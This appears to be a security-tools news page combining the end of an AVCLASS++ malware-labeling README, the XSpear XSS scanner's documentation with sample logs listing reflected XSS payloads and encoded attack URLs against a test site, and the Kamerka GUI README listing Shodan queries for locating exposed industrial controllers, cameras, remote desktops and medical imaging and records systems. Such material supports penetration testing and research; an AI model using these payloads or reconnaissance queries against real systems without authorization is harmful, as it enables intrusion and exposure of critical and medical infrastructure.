The above command outputs two files: malheurReference.aliases and malheurReference_lb.alias. Each of them has 6 columns:
  1. t1: token that is an alias
  2. t2: family for which t1 is an alias
  3. |t1|: number of input samples where t1 was observed
  4. |t2|: number of input samples where t2 was observed
  5. |t1^t2|: number of input samples where both t1 and t2 were observed
  6. |t1^t2|/|t1|: ratio of input samples where both t1 and t2
These were observed over the number of input samples where t1 was observed.
File malheurReference.aliases is the final output with the detected aliases that satisfy the -nalias and -talias thresholds. The file malheurReference_lb.alias has this information for all tokens. Thus, malheurReference.aliases is a subset of malheurReference_lb.alias.
However, note that in the above command you are trying to identify aliases from a small dataset since Drebin only contains 3K samples. Thus, malheurReference.aliases only contains 6 identified aliases. Using those 6 aliases will produce significantly worse results than using the aliases in data/default.aliases. As mentioned, to improve the identified aliases you should provide as input several million samples.

Acknowledgment
We deeply respect original authors of AVCLASS. Reference with love:
  • [1] Marcos Sebastián, Richard Rivera, Platon Kotzias, and Juan Caballero. 2016. AVCLASS: A tool for Massive Malware Labeling. In Proceedings of the 19th International Symposium on Research in Attacks, Intrusions and Defenses (RAID'16). 230--253. (If you wish to cite the original AVCLASS, please cite this paper; if you wish to cite AVCLASS++, just refer to this repository URL)
  • [2] Platon Kotzias, Srdjan Matic, Richard Rivera, and Juan Caballero. 2015. Certified PUP: Abuse in Authenticode Code Signing. In Proceedings of the 22nd ACM Conference on Computer and Communication Security (CCS'15). 465--478.
The techniques introduced in AVCLASS++ are based on the following papers:
  • [3] Xiaojin Zhu and Zoubin Ghahramani. 2002. Learning from Labeled and Unlabeled Data with Label Propagation. Technical Report CMU-CALD-02-107, Carnegie Mellon University.
  • [4] Hyrum S. Anderson and Phil Roth. 2018. EMBER: An Open Dataset for Training Static PE Malware Machine Learning Models. CoRR, abs/1804.04637.
  • [5] Stefano Schiavoni, Federico Maggi, Lorenzo Cavallaro, and Stefano Zanero. 2014. Phoenix: DGA-Based Botnet Tracking and Intelligence. In Proceeding of the 11th Conference on Detection of Intrusions and Malware & Vulnerability Assessment (DIMVA'14). 192--211.


XSpear v1.3 - Powerfull XSS Scanning And Parameter Analysis Tool

$
0
0

XSpear is XSS Scanner on ruby gems

Key features
  • Pattern matching based XSS scanning
  • Detect alertconfirmprompt event on headless browser (with Selenium)
  • Testing request/response for XSS protection bypass and reflected(or all) params
    • Reflected Params
    • All params(for blind xss, anytings)
    • Filtered test event handlerHTML tagSpecial CharUseful code
  • Testing Blind XSS (with XSS Hunter , ezXSS, HBXSS, Etc all url base blind test...)
  • Dynamic/Static Analysis
    • Find SQL Error pattern
    • Analysis Security headers(CSPHSTSX-frame-options, XSS-protection etc.. )
    • Analysis Other headers..(Server version, Content-Type, etc...)
    • XSS Testing to URI Path
  • Scanning from Raw file(Burp suite, ZAP Request)
  • XSpear running on ruby code(with Gem library)
  • Show table base cli-report and filtered rule, testing raw query(url)
  • Testing at selected parameters
  • Support output format clijson
    • cli: summary, filtered rule(params), Raw Query
  • Support Verbose level (0~3)
    • 0: quite mode(only result)
    • 1: show scanning status(default)
    • 2: show scanning logs
    • 3: show detail log(req/res)
  • Support custom callback code to any test various attack vectors
  • Support Config file

Installation
Install it yourself as:
$ gem install XSpear
Or install it yourself as (local file):
$ gem install XSpear-{version}.gem
Add this line to your application's Gemfile:
gem 'XSpear'
And then execute:
$ bundle

Dependency gems
colorizeselenium-webdriverterminal-tableprogress_bar
If you configured it to install automatically in the Gem library, but it behaves abnormally, install it with the following command.
$ gem install colorize
$ gem install selenium-webdriver
$ gem install terminal-table
$ gem install progress_bar

Usage on cli
Usage: xspear -u [target] -[options] [value]
[ e.g ]
$ xspear -u 'https://www.hahwul.com/?q=123' --cookie='role=admin' -v 1 -a
$ xspear -u "http://testphp.vulnweb.com/listproducts.php?cat=123" -v 2

[ Options ]
-u, --url=target_URL [required] Target Url
-d, --data=POST Body [optional] POST Method Body data
-a, --test-all-params [optional] test to all params(include not reflected)
--headers=HEADERS [optional] Add HTTP Headers
--cookie=COOKIE [optional] Add Cookie
--raw=FILENAME [optional] Load raw file(e.g raw_sample.txt)
-p, --param=PARAM [optional] Test paramters
-b, --BLIND=URL [optional] Add vector of Blind XSS
+ with XSS Hunter, ezXSS, HBXSS, etc...
+ e.g : -b https://hahwul.xss.ht
-t, --threads=NUMBER [optional] thread , default: 10
-o, --output=FORMAT [optional] Output format (cli , json)
-c, --config=FILENAME [optional] Using config.json
-v, --verbose=0~3 [optional] Show log depth
+ v=0 : quite mode(only result)
+ v=1 : show scanning status(default)
+ v=2 : show scanning logs
+ v=3 : show detail log(req/res)
-h, --help Prints this help
--version Show XSpear version
--update Show how to update

Result types
  • (I)NFO: Get information ( e.g sql error , filterd rule, reflected params, etc..)
  • (V)UNL: Vulnerable XSS, Checked alert/prompt/confirm with Selenium
  • (L)OW: Low level issue
  • (M)EDIUM: medium level issue
  • (H)IGH: high level issue

Verbose Mode
[0] quite mode(show only result)
$ xspear -u "http://testphp.vulnweb.com/listproducts.php?cat=123" -v 0
you see report
[1] show progress bar (default)
$ xspear -u "http://testphp.vulnweb.com/listproducts.php?cat=123" -v 1
[*] analysis request..
[*] used test-reflected-params mode(default)
[*] creating a test query [for reflected 2 param + blind XSS ]
[*] test query generation is complete. [249 query]
[*] starting XSS Scanning. [10 threads]

[#######################################] [249/249] [100.00%] [01:05] [00:00] [ 3.83/s]
...
you see report
[2] show scanning logs
$ xspear -u "http://testphp.vulnweb.com/listproducts.php?cat=123" -v 2
[*] analysis request..
[I] [22:42:41] [200/OK] [param: cat][Found SQL Error Pattern]
[-] [22:42:41] [200/OK] 'STATIC' not reflected
[-] [22:42:41] [200/OK] 'cat' not reflected <script>alert(45)</script>
[I] [22:42:41] [200/OK] reflected rEfe6[param: cat][reflected parameter]
[*] used test-reflected-params mode(default)
[*] creating a test query [for reflected 2 param + blind XSS ]
[*] test query generation is complete. [249 query]
[*] starting XSS Scanning. [10 threads]
[I] [22:42:43] [200/OK] reflected onhwul=64[param: cat][reflected EHon{any} pattern]
[-] [22:42:54] [200/OK] 'cat' not reflected <img/src onerror=alert(45)>
[-] [22:42:54] [200/OK] 'cat' not reflected <svg/onload=alert(45)>
[H] [22:42:54] [200/OK] reflected <script>alert(45)</script>[param: cat][reflected XSS Code]
[V] [22:42:59] [200/OK] found al ert/prompt/confirm (45) in selenium!! '"><svg/onload=alert(45)>[param: cat][triggered <svg/onload=alert(45)>]
...
you see report
[3] show scanning detail logs
$ xspear -u "http://testphp.vulnweb.com/listproducts.php?cat=123" -v 3
[*] analysis request..
[-] [22:56:21] [200/OK] http://testphp.vulnweb.com/listproducts.php?cat=123 in url
[ Request ]
{"accept-encoding"=>["gzip;q=1.0,deflate;q=0.6,identity;q=0.3"], "accept"=>["*/*"], "user-agent"=>["Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0"], "connection"=>["keep-alive"], "host"=>["testphp.vulnweb.com"]}
[ Response ]
{"server"=>["nginx/1.4.1"], "date"=>["Sun, 29 Dec 2019 13:53:23 GMT"], "content-type"=>["text/html"], "transfer-encoding"=>["chunked"], "connection"=>["keep-alive"], "x-powered-by"=>["PHP/5.3.10-1~lucid+2uwsgi2"]}
[-] [22:56:21] [200/OK] 'STATIC' not reflected
[-] [22:56:21] [200/OK] cat=123rEfe6 in url
...
[*] used test-reflected-params mode(default)
[*] creating a test query [for reflected 2 param + blind XSS ]
[*] test query generation is complete. [249 que ry]
[*] starting XSS Scanning. [10 threads]
...
[ Request ]
{"accept-encoding"=>["gzip;q=1.0,deflate;q=0.6,identity;q=0.3"], "accept"=>["*/*"], "user-agent"=>["Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0"], "connection"=>["keep-alive"], "host"=>["testphp.vulnweb.com"]}
[ Response ]
{"server"=>["nginx/1.4.1"], "date"=>["Sun, 29 Dec 2019 13:54:36 GMT"], "content-type"=>["text/html"], "transfer-encoding"=>["chunked"], "connection"=>["keep-alive"], "x-powered-by"=>["PHP/5.3.10-1~lucid+2uwsgi2"]}
[H] [22:57:33] [200/OK] reflected <keygen autofocus onfocus=alert(45)>[param: cat][reflected onfocus XSS Code]
...
you see report

Case by Case
Scanning XSS
$ xspear -u "http://testphp.vulnweb.com/search.php?test=query" -d "searchFor=yy"
Only JSON output
$ xspear -u "http://testphp.vulnweb.com/search.php?test=query" -d "searchFor=yy" -o json -v 0
Set scanning thread
$ xspear -u "http://testphp.vulnweb.com/search.php?test=query" -t 30
Testing at selected parameters
$ xspear -u "http://testphp.vulnweb.com/search.php?test=query&cat=123&ppl=1fhhahwul" -p cat,test
Testing at all parameters
(This option is tested with or without reflection.)
$ xspear -u "http://testphp.vulnweb.com/search.php?test=query&cat=123&ppl=1fhhahwul" -a
Testing blind xss(all params)
(Should be used as much as possible because Blind XSS is everywhere)
$ xspear -u "http://testphp.vulnweb.com/search.php?test=query" -b "https://hahwul.xss.ht" -a

# Set your blind xss host. <-b options>
for Pipeline
$ xspear -u {target} -b "your-blind-xss-host" -a -v 0 -o json

# -u : target
# -b : testing blind xss
# -a : test all params(test to not reflected param)
# -v : verbose, not showing logs at value 1.
# -o : output optios, json!
result json data
{
"starttime": "2019-12-25 00:02:58 +0900",
"endtime": "2019-12-25 00:03:31 +0900",
"issue_count": 25,
"issue_list": [{
"id": 0,
"type": "INFO",
"issue": "DYNAMIC ANALYSIS",
"method": "GET",
"param": "cat",
"payload": "XsPeaR\"",
"description": "Found SQL Error Pattern"
}, {
"id": 1,
"type": "INFO",
"issue": "STATIC ANALYSIS",
"method": "GET",
"param": "-",
"payload": "<original query>",
"description": "Found Server: nginx/1.4.1"
}, {
"id": 2,
"type": "INFO",
"issue": "STATIC ANALYSIS",
"method": "GET",
"param": "-",
"payload": "<original query>",
"description": "Not set HSTS"
}, {
"id": 3,
"type": "INFO",
"issue": "STATIC ANALYSIS",
"method": "GET",
"param": "-",
"payload": "<original query>",
"description": "Content-Type: text/html"
}, {
"id": 4,
"type": "LOW",
"issue": "STATIC ANALYSIS",
"method": "GET",
"param": "-",
"payload": "<original query>",
"description": "Not Set X-Frame-Options"
}, {
"id": 5,
"type": "MIDUM",
"issue": "STATIC ANALYSIS",
"method": "GET",
"param": "-",
"payload": "<original query>",
"description": "Not Set CSP"
}, {
"id": 6,
"type": "INFO",
"issue": "REFLECTED",
"method": "GET",
"param": "cat",
"payload": "rEfe6",
"description": "reflected parameter"
}, {
"id": 7,
"type": "INFO",
"issue": "FILER D RULE",
"method": "GET",
"param": "cat",
"payload": "onhwul=64",
"description": "not filtered event handler on{any} pattern"
}
....
, {
"id": 17,
"type": "HIGH",
"issue": "XSS",
"method": "GET",
"param": "cat",
"payload": "<audio src onloadstart=alert(45)>",
"description": "reflected HTML5 XSS Code"
}, {
"id": 18,
"type": "HIGH",
"issue": "XSS",
"method": "GET",
"param": "cat",
"payload": "<keygen autofocus onfocus=alert(45)>",
"description": "reflected onfocus XSS Code"
....
}, {
"id": 24,
"type": "HIGH",
"issue": "XSS",
"method": "GET",
"param": "cat",
"payload": "<marquee onstart=alert(45)>",
"description": "triggered <marquee onstart=alert(45)>"
}]
}
(Items marked as triggered are actually payloads that work in the browser.)
XSpear on Burpsuite
https://github.com/hahwul/XSpear/tree/master/forBurp
etc...

Sample log
Scanning XSS
xspear -u "http://testphp.vulnweb.com/listproducts.php?cat=z"
) (
( /( )\ )
)\())(()/( ( ) (
((_)\ /(_))` ) ))\ ( /( )(
__((_)(_)) /(/( /((_))(_))(()\
\ \/ // __|((_)_\ (_)) ((_)_ ((_)
> < \__ \| '_ \)/ -_)/ _` || '_|
/_/\_\|___/| .__/ \___|\__,_||_| />
|_| \ /<
{\\\\\\\\\\\\\BYHAHWUL\\\\\\\\\\\(0):::<======================-
/ \<
\> [ v1.1.5 ]
...snip...
[*] finish scan. the report is being generated..
+----+-------+------------------+--------+-------+----------------------------------------+-----------------------------------------------+
| [ XSpear report ] |
| http://testphp.vulnweb.com/listproducts. php?cat=123&zfdfasdf=124fff... (snip) |
| 2019-08-14 23:50:34 +0900 ~ 2019-08-14 23:51:07 +0900 Found 24 issues. |
+----+-------+------------------+--------+-------+----------------------------------------+-----------------------------------------------+
| NO | TYPE | ISSUE | METHOD | PARAM | PAYLOAD | DESCRIPTION |
+----+-------+------------------+--------+-------+----------------------------------------+-----------------------------------------------+
| 0 | INFO | STATIC ANALYSIS | GET | - | <original query> | Found Server: nginx/1.4.1 |
| 1 | INFO | STATIC ANALYSIS | GET | - | <original query> | Not set HSTS |
| 2 | INFO | STATIC ANALYSIS | GET | - | <original query> | Content-Type: text/html |
| 3 | LOW | STATIC ANALYSIS | GET | - | <original query> | Not Set X-Frame-Options |
| 4 | MIDUM | STATIC ANALYSIS | GET | - | <original query> | Not Set CSP |
| 5 | INFO | DYNAMIC ANALYSIS | GET | cat | XsPeaR" | Found SQL Error Pattern |
| 6 | INFO | REFLECTED | GET | cat | rEfe6 | reflected parameter |
| 7 | INFO | FILERD RULE | GET | cat | onhwul=64 | not filtered event handler on{any} pattern |
| 8 | HIGH | XSS | GET | cat | <script>alert(45)</script> | reflected XSS Code |
| 9 | HIGH | XSS | GET | cat | <marquee onstart=alert(45)> | reflected HTML5 XSS Code |
| 10 | HIGH | XSS | GET | cat | <details/open/ontoggle="alert`45`"> | reflected HTML5 XSS Code |
| 11 | HIGH | XSS | GET | cat | <select autofocus onfocus=alert(45)> | reflected onfocus XSS Code |
| 12 | HIGH | XSS | GET | cat | <input autofocus onfocus=alert(45)> | reflected onfocus XSS Code |
| 13 | HIGH | XSS | GET | cat | <textarea autofocus onfocus=alert(45)> | reflected onfocus XSS Code |
| 14 | HIGH | XSS | GET | cat | <audio src onloadstart=alert(45)> | reflected HTML5 XSS Code |
| 15 | HIGH | XSS | GET | cat | <meter onmouseover=alert(45)>0</meter&gt ; | reflected HTML5 XSS Code |
| 16 | HIGH | XSS | GET | cat | "><iframe/src=JavaScriPt:alert(45)> | reflected XSS Code |
| 17 | HIGH | XSS | GET | cat | <video/poster/onerror=alert(45)> | reflected HTML5 XSS Code |
| 18 | HIGH | XSS | GET | cat | <keygen autofocus onfocus=alert(45)> | reflected onfocus XSS Code |
| 19 | VULN | XSS | GET | cat | <script>alert(45)</script> | triggered <script>alert(45)</script> |
| 20 | HIGH | XSS | GET | cat | <marquee onstart=alert(45)> | triggered <marquee onstart=alert(45)> |
| 21 | HIGH | XSS | GET | cat | <details/open/ontoggle="alert(45)"> | triggered <details/open/ontoggle="alert(45)"> |
| 22 | H IGH | XSS | GET | cat | <audio src onloadstart=alert(45)> | triggered <audio src onloadstart=alert(45)> |
| 23 | VULN | XSS | GET | cat | '"><svg/onload=alert(45)> | triggered <svg/onload=alert(45)> |
+----+-------+------------------+--------+-------+----------------------------------------+-----------------------------------------------+
< Available Objects >
[cat] param
+ Available Special Char: ` ( \ ' { ) } [ : $ ]
+ Available Event Handler: "onBeforeEditFocus","onAbort","onActivate","onAfterUpdate","onBeforeCopy","onAfterPrint","onBeforeActivate","onBeforeCut","onBeforeDeactivate","onChange","onBeforePrint","onBounce","onBeforeUnload","onCellChange","onBeforePaste","onClick","onBegin","onBlur","onBeforeUpdate","onDataSetChanged","onCut","onDblClick","onCopy","onContextMenu","onDataSetComplete","onDeactivate","onDataAvailable","onControlSelect","onDra g","onDrop","onDragEnd","onEnd","onDragLeave","onDragStart","onDragOver","onDragEnter","onDragDrop","onError","onErrorUpdate","onFinish","onFilterChange","onKeyPress","onHelp","onFocus","onInput","onHashChange","onKeyDown","onFocusIn","onFocusOut","onMessage","onMouseDown","onLoad","onLayoutComplete","onMouseEnter","onLoseCapture","onloadstart","onMediaError","onKeyUp","onMediaComplete","onMouseOver","onMouseWheel","onMove","onMouseMove","onMouseOut","onOffline","onMoveStart","onMouseLeave","onMouseUp","onMoveEnd","onPropertyChange","onOnline","onPause","onPaste","onReadyStateChange","onRedo","onProgress","onPopState","onOutOfSync","onRepeat","onResume","onRowExit","onReset","onResizeEnd","onRowsEnter","onResizeStart","onReverse","onRowDelete","onRowInserted","onResize","onStop","onSeek","onSelect","onSubmit","onStorage","onStart","onScroll","onSelectionChange","onSyncRestored","onSelectStart","onUnload","ontouchstart","onbeforescriptexecute","onTimeError","onURLFlip","ontouchmove", "ontouchend","onTrackChange","onUndo","onafterscriptexecute","onpointermove","onpointerleave","onpointerup","onpointerover","onpointerdown","onpointerenter","onloadstart","onloadend","onpointerout"
+ Available HTML Tag: "script","img","embed","video","audio","meta","style","frame","iframe","svg","object","frameset","applet"
+ Available Useful Code: "document.cookie","document.location","window.location"

< Raw Query >
[0] http://testphp.vulnweb.com/listproducts.php?-
..snip..
[19] http://testphp.vulnweb.com/listproducts.php?cat=123%22%3E%3Cscript%3Ealert(45)%3C/script%3E&zfdfasdf=124fffff
[20] http://testphp.vulnweb.com/listproducts.php?cat=123%22'%3E%3Cmarquee%20onstart=alert(45)%3E&zfdfasdf=124fffff
[21] http://testphp.vulnweb.com/listproducts.php?cat=123%22'%3E%3Cdetails/open/ontoggle=%22alert(45)%22%3E&zfdfasdf=124fffff
[22] http://testphp.vulnweb.com/listproducts.php?cat=123%22'%3E%3Caudio%20src%20onloadstart=alert(45) %3E&zfdfasdf=124fffff
[23] http://testphp.vulnweb.com/listproducts.php?cat=123'%22%3E%3Csvg/onload=alert(45)%3E&zfdfasdf=124fffff

...snip...
to JSON
$ xspear -u "http://testphp.vulnweb.com/listproducts.php?cat=123&zfdfasdf=124fffff" -v 1 -o json
{"starttime":"2019-08-14 23:58:12 +0900","endtime":"2019-08-14 23:58:44 +0900","issue_count":24,"issue_list":[{"id":0,"type":"INFO","issue":"STATIC ANALYSIS","method":"GET","param":"-","payload":"<original query>","description":"Found Server: nginx/1.4.1"},{"id":1,"type":"INFO","issue":"STATIC ANALYSIS","method":"GET","param":"-","payload":"<original query>","description":"Not set HSTS"},{"id":2,"type":"INFO","issue":"STATIC ANALYSIS","method":"GET","param":"-","payload":"<original query>","description":"Content-Type: text/html"},{"id":3,"type":"LOW","issue":"STATIC ANALYSIS","method":"GET","param":"-","payload":"<original query>","description":"Not Set X-Frame-Options"},{"id":4,"type":"MIDUM","issue":"STATIC ANALYSIS","method":"GET","param":"-","payload":"<original query>","description":"Not Set CSP"},{"id":5,"type":"INFO","issue":"DYNAMIC ANALYSIS","method":"GET","param":"cat","payload":"XsPeaR\"","description":"Found SQL Error Pattern"},{"id":6,"type":"INFO","issue":"REFLECTED","method":"GET","param":"cat","payload":"rEfe6","description":"reflected parameter"},{"id":7,"type":"INFO","issue":"FILERD RULE","method":"GET","param":"cat","payload":"onhwul=64","description":"not filtered event handler on{any} pattern"},{"id":8,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"<script>alert(45)</script>","description":"reflected XSS Code"},{"id":9,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"<textarea autofocus onfocus=alert(45)>","description":"reflected onfocus XSS Code"},{"id":10,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"<video/poster/onerror=alert(45)>","description":"reflected HTML5 XSS Code"},{"id":11,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"<audio src onloadstart=alert(45)>","description":"refl ected HTML5 XSS Code"},{"id":12,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"<details/open/ontoggle=\"alert`45`\">","description":"reflected HTML5 XSS Code"},{"id":13,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"<select autofocus onfocus=alert(45)>","description":"reflected onfocus XSS Code"},{"id":14,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"<marquee onstart=alert(45)>","description":"reflected HTML5 XSS Code"},{"id":15,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"<input autofocus onfocus=alert(45)>","description":"reflected onfocus XSS Code"},{"id":16,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"\"><iframe/src=JavaScriPt:alert(45)>","description":"reflected XSS Code"},{"id":17,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"<meter onmouseover=alert(45)>0</meter>","description":"reflected HTML5 XSS Cod e"},{"id":18,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"<keygen autofocus onfocus=alert(45)>","description":"reflected onfocus XSS Code"},{"id":19,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"<audio src onloadstart=alert(45)>","description":"triggered <audio src onloadstart=alert(45)>"},{"id":20,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"<marquee onstart=alert(45)>","description":"triggered <marquee onstart=alert(45)>"},{"id":21,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"<details/open/ontoggle=\"alert(45)\">","description":"triggered <details/open/ontoggle=\"alert(45)\">"},{"id":22,"type":"VULN","issue":"XSS","method":"GET","param":"cat","payload":"<script>alert(45)</script>","description":"triggered <script>alert(45)</script>"},{"id":23,"type":"VULN","issue":"XSS","method":"GET","param":"cat","payload":"'\"><svg/on load=alert(45)>","description":"triggered <svg/onload=alert(45)>"}]}

Usage on ruby code
require 'XSPear'

# Set options
options = {}
options['thread'] = 30
options['cookie'] = "data=123"
options['blind'] = "https://hahwul.xss.ht"
options['output'] = json

# Create XSpear object with url, options
s = XspearScan.new "https://www.hahwul.com?target_url", options

# Scanning
s.run
result = s.report.to_json
r = JSON.parse result

Add Scanning Module
1) Add makeQueryPattern
makeQueryPattern('type', 'query,', 'pattern', 'category', "description", "callback funcion")
# type: f(ilterd?) r(eflected?) x(ss?)
# category i(nfo) v(uln) l(ow) m(edium) h(igh)

# e.g
# makeQueryPattern('f', 'XsPeaR,', 'XsPeaR,', 'i', "not filtered "+",".blue, CallbackStringMatch)
2) if other callback, write callback class override ScanCallbackFunc e.g
  class CallbackStringMatch < ScanCallbackFunc
def run
if @response.body.include? @query
[true, "reflected #{@query}"]
else
[false, "not reflected #{@query}"]
end
end
end
Parent class(ScanCallbackFunc)
class ScanCallbackFunc()
def initialize(url, method, query, response)
@url = url
@method = method
@query = query
@response = response
# self.run
end

def run
# override
end
end
Common Callback Class
  • CallbackXSSSelenium
  • CallbackErrorPatternMatch
  • CallbackCheckHeaders
  • CallbackStringMatch
  • CallbackNotAdded
  • etc...

Update
if nomal user
$ gem update XSpear
if developers (soft)
$ git pull -v
if develpers (hard)
$ git reset --hard HEAD; git pull -v

Development
After checking out the repo, run bin/setup to install dependencies. Then, run rake spec to run the tests. You can also run bin/console for an interactive prompt that will allow you to experiment.
To install this gem onto your local machine, run bundle exec rake install. To release a new version, update the version number in version.rb, and then run bundle exec rake release, which will create a git tag for the version, push git commits and tags, and push the .gem file to rubygems.org.

ScreenShot

< Scanning Image>


  < CLI-Report 1 >

  < CLI-Report 2 >

  < JSON Report >

Video




Kamerka GUI - Ultimate Internet Of Things/Industrial Control Systems Reconnaissance Tool

$
0
0

Ultimate Internet of Things/Industrial Control Systems reconnaissance tool.

Powered by Shodan - Supported by Binary Edge & WhoisXMLAPI
writeup - https://medium.com/@woj_ciech/hack-the-planet-with-%EA%93%98amerka-gui-ultimate-internet-of-things-industrial-control-systems-5ff7d9686b29
Demo - https://woj-ciech.github.io/kamerka-demo/kamerka.html

Requirements
  • beautiful soup
  • python3
  • django
  • pynmea2
  • celery
  • redis
  • Shodan
  • BinaryEdge
  • WHOISXMLAPI
  • Flickr
  • Google Maps API
pip3 install -r requirements.txt
Make sure your API keys are correct and put them in keys.json in main directory.

Run
python3 manage.py makemigrations
python3 manage.py migrate
python3 manage.py runserver
In a new window (in main directory) run celery worker celery worker -A kamerka --loglevel=info
In a new window fire up redis redis-server
And server should be available on https://localhost:8000/

Search

Search for Industrial Control Devices in specific country

  • "All results" checkbox means get all results from Shodan, if it's turned off - only first page (100) results will be downloaded.
  • "Own database" checkbox does not work but shows that is possible to integrate your own geolocation database. Let me know if you have access to better than Shodan's default one.

Search for Internet of things in specific coordinates
Type your coordinates in format "lat,lon", hardcoded radius is 20km.


Dashboard


Maps

Los Angeles map


Industrial Control Systems in Canada


Device map & details


Full list of supported devices with corresponding queries
"webcam": "device:webcam",
"webcamxp":"webcamxp",
"vivotek":"vivotek",
"techwin":"techwin",
"mobotix":"mobotix",
"iqinvision":"iqinvision",
"grandstream":"Grandstream",
'printer': "device:printer",
'mqtt': 'product:mqtt',
'rtsp': "port:'554'",
'dicom': "dicom",
"ipcamera": "IPCamera_Logo",
"yawcam": "yawcam",
"blueiris": "http.favicon.hash:-520888198",
'ubnt': "UBNT Streaming Server",
"go1984": "go1984",
"dlink": "Server: Camera Web Server",
"avtech": "linux upnp avtech",
"adh": "ADH-web",
"axis":'http.title:"axis" http.html:live',
"rdp":"has_screenshot:true port:3389",
"vnc":"has_screenthos:true port:5901",
"screenshot":"has_screenshot:true !port:3389 !port:3388 !port:5900",

"niagara": "port:1911,4911 product:Niagara",
'bacnet': "port:47808",
'modbus': "port:502",
'siemens': 'Original Siemens Equipment Basic Firmware:',
'dnp3': "port:20000 source address",
"ethernetip": "port:44818",
"gestrip": 'port:18245,18246 product:"general electric"',
'hart': "port:5094 hart-ip",
'pcworx': "port:1962 PLC",
"mitsubishi": "port:5006,5007 product:mitsubishi",
"omron": "port:9600 response code",
"redlion": 'port:789 product:"Red Lion Controls"',
'codesys': "port:2455 operating system",
"iec": "port:2404 asdu address",
'proconos': "port:20547 PLC",

"plantvisor": "Server: CarelDataServer",
"iologik": "iologik",
"moxa": "Moxa",
"akcp": "Server: AKCP Embedded Web Server",
"spidercontrol": "powered by SpiderControl TM",
"tank": "port:10001 tank",
"iq3": "Server: IQ3",
"is2": "IS2 Web Server",
"vtscada": "Server: VTScada",
'zworld': "Z-World Rabbit",
"nordex": "Jetty 3.1.8 (Windows 2000 5.0 x86)",

"axc":"PLC Type: AXC",
"modicon":"modicon",
"xp277":"HMI, XP277",
"vxworks":"vxworks",
"eig":"EIG Embedded Web Server",
"digi":"TransPort WR21",
"windweb":"server: WindWeb",
"moxahttp":"MoxaHttp",
"lantronix":"lantronix",
"entelitouch":"Server: DELTA enteliTOUCH",
"energyict_rtu":"EnergyICT RTU",
"crestron":"crestron",
"wince":'Server: "Microsoft-WinCE"',
"ipc@chip":"IPC@CHIP",
"addup":"addUPI",
"anybus":'"anybus-s"',
"windriver":"WindRiver-WebServer",
"wago":"wago",
"niagara_audit":"niagara_audit",
"niagara_web_server":"Niagara Web Server",
"trendnet":"trendnet",
"stulz_klimatechnik":"Stulz GmbH Klimatechnik",
"somfy":"title:Somfy",
"scalance":"scalance",
"simatic":"simatic",
"simatic_s7":"Portal0000",
"schneider_electric":"Schneider Electric",
"power_measurement":"Power Measurement Ltd",
"power_logic":"title:PowerLogic",
"telemecanique_bxm":"TELEMECANIQUE BMX",
"schneider_web":"Schneider-WEB",
"fujitsu_serverview":"serverview",
"eiportal":"eiPortal",
"ilon":"i.LON",
"Webvisu":"Webvisu",
"total_access": 'ta g en3 port:2000'

Medical
"zoll":"http.favicon.hash:-236942626",
"perioperative":"HoF Perioperative",
"wall_of_analytics":"title:'Wall of Analytics'",
"viztek_exa":"X-Super-Powered-By: VIZTEK EXA",
"desert_view_bkup":"title:'DESERT VIEW BKUP'",
"intuitim":"http.favicon.hash:159662640",
"Medcon Archiving System":"http.favicon.hash:-897903496",
"orthanc_explorer":"title:'Orthanc Explorer'",
"Marco Pacs":"title:'Marco pacs'",
"osirix":"title:OsiriX",
"clari_pacs":"title:ClariPACS",
"siste_lab":"http.html:SisteLAB",
"opalweb":"html:opalweb",
"neuropro":"title:'EEG Laboratory'",
"tmw_document_imaging":"title:'TMW Document Imaging'",
"erez":"title:'eRez Imaging'",
"gluco_care":"html:'GlucoCare igc'",
"glucose_guide":"title:'glucose guide'",
"grandmed_glucose":"title:'Grandmed Glucose'",
"philips_digital_pathology":"title:'Philips Digital Pathology'",
"tricore_pathology":"title:'TriCore Pathology'",< br/>"appsmart_ophthalmology":"title:'Appsmart Ophthalmology'",
"chs_ophthalmology":"title:'CHS Ophthalmology'",
"ram_soft":"html:powerreader",
"xnat":"http.favicon.hash:-230640598",
"iris_emr":"title:'Iris EMR'",
"eclinicalworks_emr":"title:'Web EMR Login Page'",
"open_emr":"http.favicon.hash:1971268439",
"oscar_emr":"title:'OSCAR EMR'",
"wm_emr":"http.favicon.hash:1617804812",
"doctors_partner_emr":"title:'DoctorsPartner'",
"mckesson_radiology":"title:'McKesson Radiology'",
"kodak_carestream":"title:'Carestream PACS'",
"meded":"title:meded",
"centricity_radiology":"http.favicon.hash:-458315012",
"openeyes":"http.favicon.hash:-885931907",
"orthanc":"orthanc",
"horos":"http.favicon.hash:398467600"
"open_mrs":"title:openmrs",
"mirth_connect":"http.favicon.hash:1502215759",
"acuity_logic":"title:AcuityLogic",
"optical_coherence_tomography":"title:'OCT Webview'",
"philips_intellispace":"title:INTELLISPAC E",
"vitrea_intelligence":"title:'Vitrea intelligence'",
"phenom_electron_microscope":"title:'Phenom-World'",
"meddream_dicom_viewer":"html:Softneta",
"merge_pacs":"http.favicon.hash:-74870968",
"synapse_3d":"http.favicon.hash:394706326",
"navify":"title:navify",
"telemis_tmp":"http.favicon.hash:220883165",
"brainlab":"title:'Brainlab Origin Server'",
"nexus360":"http.favicon.hash:125825464",
"brain_scope":"title:BrainScope",
"omero_microscopy":"http.favicon.hash:2140687598",
"meditech":"Meditech",
"cynetics":"cynetics",
"promed":"Promed",
"carestream":"Carestream",
"carestream_web":"title:Carestream",
"vet_rocket":"http.html:'Vet Rocket'",
"planmeca":"Planmeca",
"vet_view":"http.favicon.hash:1758472204",
"lumed":"http.html:'LUMED'",
"infinitt":"http.favicon.hash:-255936262",
"labtech":"labtech",
"progetti":"http.html:'Progetti S.r.l.'",
